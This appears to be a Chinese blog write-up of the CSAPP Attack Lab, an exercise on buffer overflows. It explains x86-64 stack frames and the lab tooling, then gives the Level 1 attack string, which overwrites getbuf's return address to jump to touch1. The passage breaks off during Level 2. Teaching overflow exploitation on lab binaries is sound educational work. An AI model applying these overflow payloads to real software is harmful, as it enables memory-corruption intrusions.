CSAPP:Attack Lab —— 缓冲区溢出攻击实验

Warm-up

X86-64寄存器和栈帧

X86-64有16个64位寄存器 :

-%rax 作为函数返回值使用。
- %rsp 栈指针寄存器,指向栈顶。
- %rdi,%rsi,%rdx,%rcx,%r8,%r9 用作函数参数,依次对应第1参数,第2参数……
- %rbx,%rbp,%r12,%r13,%14,%15 用作数据存储,遵循被调用者使用规则。
- %r10,%r11 用作数据存储,遵循调用者使用规则。

程序可以用栈来管理它的过程所需要的存储空间,栈和程序寄存器存放着传递控制和数据、分配内存所需要的信息。
当过程需要的存储空间超出寄存器能够存放的大小时,就会在栈上分配空间,这个部分称为过程的栈帧。
栈帧
将控制从函数P转移到函数Q只需要简单地把程序计数器设置为Q的代码的起始位置,当稍后从Q返回时,处理器必须记录好它需要继续P的执行的代码位置。
在x86-64机器中,call Q指令会把返回地址即紧跟在call指令后的那条指令的地址压入栈中,并将程序计数器设置为Q的起始地址;对应的ret指令会从栈中弹出返回地址,并把程序计数器设置为该返回地址。

实验目的

本实验要求在两个有着不同安全漏洞的程序上实现五种攻击。

通过完成本实验达到:
- 深入理解当程序没有对缓冲区溢出做足够防范时,攻击者可能会如何利用这些安全漏洞。
- 深入理解x86-64机器代码的栈和参数传递机制。
- 深入理解x86-64指令的编码方式。
- 熟练使用gdb和objdump等调试工具。
- 更好地理解写出安全的程序的重要性,了解到一些编译器和操作系统提供的帮助改善程序安全性的特性。

文件说明

ctarget:一个容易遭受code injection攻击的可执行程序。
rtarget:一个容易遭受return-oriented programming攻击的可执行程序。
cookie.txt:一个8位的十六进制码,用于验证身份的唯一标识符。
farm.c:目标“gadget farm”的源代码,用于产生return-oriented programming攻击。
hex2raw:一个生成攻击字符串的工具。

unsigned getbuf()
{
    char buf[BUFFER_SIZE];
    Gets(buf);
    return 1;
}

函数Gets()类似于标准库函数gets(),从标准输入读入一个字符串,将字符串(带null结束符)存储在指定的目的地址。二者都只会简单地拷贝字节序列,无法确定目标缓冲区是否足够大以存储下读入的字符串,因此可能会超出目标地址处分配的存储空间。
字符串不能包含字节值0x0a,这是换行符'\n'的ASCII码,Gets()遇到这个字节时会认为意在结束该字符串。

输入正常长度的字符串
未超出缓冲区大小,正常返回1。

输入过长长度的字符串
超出缓冲区大小通常会导致程序状态被破坏,引起内存访问错误。

实验辅助

  • hex2raw的使用说明

    要求输入是一个十六进制格式的字符串,用两个十六进制数字表示一个字节值,字节值之间以空白符(空格或新行)分隔,注意使用小端法字节序。

    将攻击字符串存入文件中,如attack.txt,然后用下述方法调用:
    1.cat attack.txt | ./hex2raw | ./ctarget
    2../hex2raw <attack.txt> attackraw.txt
    ./ctarget < attackraw.txt./ctarget -i attackraw.txt
    3.结合gdb使用
    ./hex2raw <attack.txt> attackraw.txt
    gdb ctarget
    (gdb) run < attackraw.txt(gdb) run -i attackraw.txt

  • 生成字节代码操作
    编写一个汇编文件:
    vim attack.s
    汇编和反汇编此文件:
    gcc -c attack.s
    objdump -d attack.o > attack.d
    由此推出这段代码的字节序列。

  • 涉及的gdb命令

    (gdb) r run的简写,运行被调试的程序。若有断点,则程序暂停在第一个可用断点处。
    (gdb) c continue的简写,继续执行被调试程序,直至下一个断点或程序结束。
    (gdb) print <指定变量> 显示指定变量的值。
    (gdb) break *<代码地址> 设置断点。
    (gdb) x/<n/f/u> <addr> examine的简写,查看内存地址中的值。

* (gdb) x/< n/f/u > < addr > 的具体用法:
n、f、u是可选的参数。

-n是一个正整数,表示需要显示的内存单元的个数。
- f 表示显示的格式。s表示地址所指的是字符串,i表示地址是指令地址。
- u表示从当前地址往后请求的字节数,如果不指定的话,默认是4字节。b表示单字节,h表示双字节,w表示四字节,g表示八字节。
- < addr >表示一个内存地址。


Part I

Code Injection Attacks
程序被设置成栈的位置每次执行都一样,因此栈上的数据就可以等效于可执行代码,使得程序更容易遭受包含可执行代码字节编码的攻击字符串的攻击。

-Level 1

函数test调用了函数getbufgetbuf执行返回语句时,程序会继续执行test函数中的语句。

void test() 
{
    int val;
    val = getbuf();
    printf("NO explit. Getbuf returned 0x%x\n", val);
}

而我们要改变这个行为,使 getbuf返回的时候,执行 touch1而不是返回 test

void touch1() 
{
    vlevel = 1;
    printf("Touch!: You called touch1()\n");   
    validate(1);
    exit(0);
}

touch1看出我们不需要注入新的代码,只需要用攻击字符串指引程序执行一个已经存在的函数,也就是使getbuf结尾处的ret指令将控制转移到touch1

0000000000401825 <getbuf>:
  401825:   48 83 ec 38             sub    $0x38,%rsp           
  401829:   48 89 e7                mov    %rsp,%rdi
  40182c:   e8 7f 02 00 00          callq  401ab0 <Gets>
  401831:   b8 01 00 00 00          mov    $0x1,%eax              
  401836:   48 83 c4 38             add    $0x38,%rsp
  40183a:   c3   

sub $0x38,%rsp这条指令可以得到getbuf创建的缓冲区大小为0x38字节即56字节。

000000000040183b <touch1>:
  40183b:   48 83 ec 08             sub    $0x8,%rsp
  40183f:   c7 05 b3 2c 20 00 01    movl   $0x1,0x202cb3(%rip)        # 6044fc <vlevel>
  401846:   00 00 00 
  401849:   bf dd 30 40 00          mov    $0x4030dd,%edi
  40184e:   e8 0d f4 ff ff          callq  400c60 <puts@plt>
  401853:   bf 01 00 00 00          mov    $0x1,%edi
  401858:   e8 a9 04 00 00          callq  401d06 <validate>
  40185d:   bf 00 00 00 00          mov    $0x0,%edi
  401862:   e8 79 f5 ff ff          callq  400de0 <exit@plt>

从这里可以看出,touch1函数的起始地址为0x40183b
要使getbuf结尾处的ret指令将控制转移到touch1,我们只需利用缓冲区溢出将返回地址修改为touch1的起始地址。

我们的攻击字符串就诞生了,不如把它命名为attack1.txt

00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
//以上(任意字节除0x0a)填充满整个缓冲区(56字节)以致溢出。
3b 18 40 00 00 00 00 00  
//用函数touch1的起始地址覆盖掉原先的返回地址(注意字节顺序)。

调用hex2raw并执行ctarget
./hex2raw < attack1.txt > attackraw1.txt
./ctarget -i attackraw1.txt

Level 1

-Level 2

void touch2(unsigned val)
{
    vlevel = 2;
    if (val == cookie){
        printf("Touch2!: You called touch2(0x%.8x)\n", val);
        validate(2);
    }else {
        printf("Misfire: You called touch2(0x%.8x)\n", val);
        fail(2);
    }
    exit(0);
}

getbuf函数返回的时候,执行 touch2而不是返回 test。不同的是,我们需要注入新的代码,并且必须让touch2以为它接收到的参数是自己的 cookie,即0x73fb1600


0000000000401867 <touch2>:
  401867:   48 83 ec 08             sub    $0x8,%rsp                    
  40186b:   89 fa                   mov    %edi,%edx
  40186d:   c7 05 85 2c 20 00 02    movl   $0x2,0x202c85(%rip)        # 6044fc <vlevel>
  401874:   00 00 00 
  401877:   
评论 14
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值